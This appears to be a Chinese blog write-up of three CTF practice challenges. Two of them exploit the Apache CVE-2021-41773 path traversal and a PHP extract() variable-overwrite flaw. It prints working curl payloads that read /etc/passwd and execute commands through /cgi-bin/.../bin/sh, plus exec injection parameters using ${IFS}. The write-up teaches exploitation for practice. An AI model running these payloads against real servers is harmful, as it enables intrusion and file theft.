NSSCTF[UUCTF 2022 新生赛]websign+[GFCTF 2021]Baby_Web+[NSSRound#4 S
https://www.ctfer.vip/problem/3053
首先很抱歉又隔那么久才更新,感谢xenny的支持,这次回学校和学长聊了一下,感觉大学毕业能选择的还是蛮多的,自己对自己本领有点认识,自己在ctf里刷的题还是太少了,一个方向刷500题后才能出结果,自己总共加起来可能才五百多,其中很多还是简单题,自觉惭愧,所以自己对春招没什么自信,学长倒是建议我去春招看看自己的定位和水平,但是刚回来耍了几天的我脑袋空空的,学长入的职业不知道能不能说,保密机构就不细聊了,我也是很向往,不知道以后是否有机会,自己也想考研去学深一点,因为感觉目前我在大学的环境和资源是够自己学广一点然后出去找工作的,但是自己的水平应该是只能进一些很普通的单位,然后每天混着过,能不能出头还不知道,考研的话是能学很多接触很多的,出来的选择也很多,所以很多人选择考研,我觉得当前还是得先提升自己吧,把坑填辣,然后聊一下看看怎么走,然后看是纯考研还是去实习看一下咯。

抱歉说了辣么多,言归正传:
[UUCTF 2022 新生赛]websign
很基础的查看源代码方式,这里在上次的NSS[SWPUCTF 2022 新生赛]numgame里提到过:
如果你是火狐或者谷歌,在右上角的菜单栏里点击更多工具,里面点击查看源代码就行了。其他浏览器未知,但多半也有这一功能,
抓包,
curl -v 捕捉一下这个浏览器会话内容,三种基础方式都可以查看到网页源代码,其他方法也有很多,这里就不多赘述。

[GFCTF 2021]Baby_Web
hint:WEB PHP CVE-2021-41773 变量覆盖
cve加变量覆盖,凶险万分。
首先一来f12看到提示:

读取上层文件,那很明显提示了你cve就去搜这个cve嘛:
这里原理有兴趣的可以自行研究,直接放payload了。
https://github.com/Vulnmachines/cve-2021-41773
curl -s --path-as-is ":[PORT]/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -s --path-as-is --data "echo;Command" "[IP]:[PORT]/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh
直接运行输出是不信滴,这里只能去读文件,那就先读一下index.php.txt咯
这里注意前面的/%2e%2e/记得加上一个,然后路径还得加上var/www补全,然后在网页端直接输入我没有返回结果,在burp里面则是得到了返回值:
<h1>Welcome To GFCTF 12th!!</h1>
<?php
error_reporting(0);
define("main","main");
include "Class.php";
$temp = new Temp($_POST);
$temp->display($_GET['filename']);
?>
<!--源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?-->
提示了外面还有post值,提示了还存在class.php,提示了还有display
那么访问class.php.txt再读:
<?php
defined('main') or die("no!!");
Class Temp{
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
private $template;
public function __construct($data){
$this->date = array_merge($this->date,$data);
}
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
public function listdata($_params){
$system = [
'db' => '',
'app' => '',
'num' => '',
'sum' => '',
'form' => '',
'page' => '',
'site' => '',
'flag' => '',
'not_flag' => '',
'show_flag' => '',
'more' => '',
'catid' => '',
'field' => '',
'order' => '',
'space' => '',
'table' => '',
'table_site' => '',
'total' => '',
'join' => '',
'on' => '',
'action' => '',
'return' => '',
'sbpage' => '',
'module' => '',
'urlrule' => '',
'pagesize' => '',
'pagefile' => '',
];
$param = $where = [];
$_params = trim($_params);
$params = explode(' ', $_params);
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {
$var = substr($t, 0, strpos($t, '='));
$val = substr($t, strpos($t, '=') + 1);
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;
}
}
// action
switch ($system['action']) {
case 'function':
if (!isset($param['name'])) {
return 'hacker!!';
} elseif (!function_exists($param['name'])) {
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);
}
return $rt;
}else{
return null;
}
case 'list':
return json_encode($this->date);
}
return null;
}
}
很长一串php代码,肯定不是全懂,那么从我们已知信息开始入手:
查看display部分:
public function display($template,$space=''){
extract($this->date);
$this->getTempName($template,$space);
include($this->template);
}
首先是一个extract函数,这个函数你搜索的时候加上ctf关键词很容易得到他的考点是我们hint里面的变量覆盖:
https://blog.csdn.net/weixin_33782386/article/details/92457387
Extract()函数引起的变量覆盖漏洞
该函数使用数组键名作为变量名,使用数组键值作为变量值。但是当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。
例如:$GET[‘test’]=’a’,被extract()函数处理后,就变成了$test=’a’,有与之同名的变量$test = '';,将其值覆盖掉。并且get方法传输的gift参数的值也为a。这样,$gift=$content。就可以获得flag。
这里留个心,接着看发现引出getTempName方法:
public function getTempName($template,$dir){
if($dir === 'admin'){
$this->template = str_replace('..','','./template/admin/'.$template);
if(!is_file($this->template)){
die("no!!");
}
}
else{
$this->template = './template/index.html';
}
}
发现路径,访问:

发现他调用了listdata,那就又看listdata,并关注action:
//action
switch ($system['action']) {//把key为action的值来比较
case 'function':
if (!isset($param['name'])) {//必须有key为name
return 'hacker!!';
} elseif (!function_exists($param['name']))//还必须被定义
{
return 'hacker!!';
}
$force = $param['force'];
if (!$force) {
$p = [];//我们只需要这一步定义
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
if ($p) {
$rt = call_user_func_array($param['name'], $p);
} else {
$rt = call_user_func($param['name']);//利用的key为name的value值
}
发现老朋友call_user_func,回推$param['name'],这里我不是很懂,就直接借用大佬注释,同时把上方也一样替换成大佬注释,感谢大佬:
https://blog.csdn.net/qq_53460654/article/details/122026054
$_params = trim($_params);//删除两侧多余的空格
$params = explode(' ', $_params);//以空格分隔成数组
if (in_array($params[0], ['list','function'])) {
$params[0] = 'action='.$params[0];
}
foreach ($params as $t) {//遍历新⽣成的数组
$var = substr($t, 0, strpos($t, '='));//key
$val = substr($t, strpos($t, '=') + 1);//value
if (!$var) {
continue;
}
if (isset($system[$var])) {
$system[$var] = $val;
} else {
$param[$var] = $val;//数组定义
}
}
那么不难看出,要进入这个页面调用listdata函数,我们dir要等于admin也就是space要等于admin,template=index.html,相当于firename=index.html,这个没什么难点,然后要传入mod参数。
然后就是利用哪个的问题了:这里跟着大佬wp走
第一处,利用call_user_func
$rt = call_user_func($param['name']);
$param['name']上面已经提到
switch ($system['action']) {//把key为action的值来比较
case 'function':
if (!isset($param['name'])) {//必须有key为name
那我们的格式就是 name=命令
那之前就是 action=function name=命令,为什么是xx空格xx呢,因为数组格式啊,你都不按格式怎么变量覆盖,mod=xxx action=function name=命令 空格作为数组分割
private $date=['version'=>'1.0','img'=>'https://www.apache.org/img/asf-estd-1999-logo.jpg'];
经测试,xxx随便你填,不填都行,但是得加个空格,如果你只要action,那返回值也可以验证一下:
{"version":"1.0","img":"https:\/\/www.apache.org\/img\/asf-estd-1999-logo.jpg","space":"admin","mod":"action=function name=phpinfo"}
那这里phpinfo看一眼,直接看到flag:

第二个处,call_user_func_array
这里就涉及到:
if (!$force) {
$p = [];//我们只需要这一步定义
foreach ($param as $var => $t) {
if (strpos($var, 'param') === 0) {
$n = intval(substr($var, 5));
$p[$n] = $t;
}
}
这里又需要一个param的key作为我们的值,然后name的value值为exec即可进行命令执行
但是但是,因为这里空格作为数组分割是过滤了滴,所以我们用${IFS},然后就是命令执行随便你搞咯,这里大佬用得是赋值。
space=admin&mod=m1kael action=function name=exec param=ls${IFS}/>/var/www/html/a
space=admin&mod=m1kael action=function name=exec param=cat${IFS}/f11111111aaaagggg>/var/www/html/a
刚开始看挺多代码挺头疼的,后来只看关键部分的利用还好,但是数组这部分如果不看大佬解析的话我是利用不了第二个点的,第一个点也只能慢慢摸索得出,只能说还得继续学。

趁热打铁:
[NSSRound#4 SWPU]ez_rce
hint:WEB CVE-2021-41773
一样抓包看路径,但是这里也没提示路径在哪,于是尝试一下搞事情,直接
/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
就从The requested URL was not found on this server.变成了:
Your browser sent a request that this server could not understand
当然事后发现是我的问题,这里我还改成了post,post了两下就不回显了,后来改了一下
/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

文件很多勒,要么你绑个目录参数去爆破,要么grep 递归搜索:
grep -r "NSS" /flag_is_here
以递归的方式查找“/flag_is_here”下包含“NSS”的文件
要么就echo;cat /flag_is_here/*/*/*/*/*

那就这样啦,吃饭去了,期待我们下一题再见!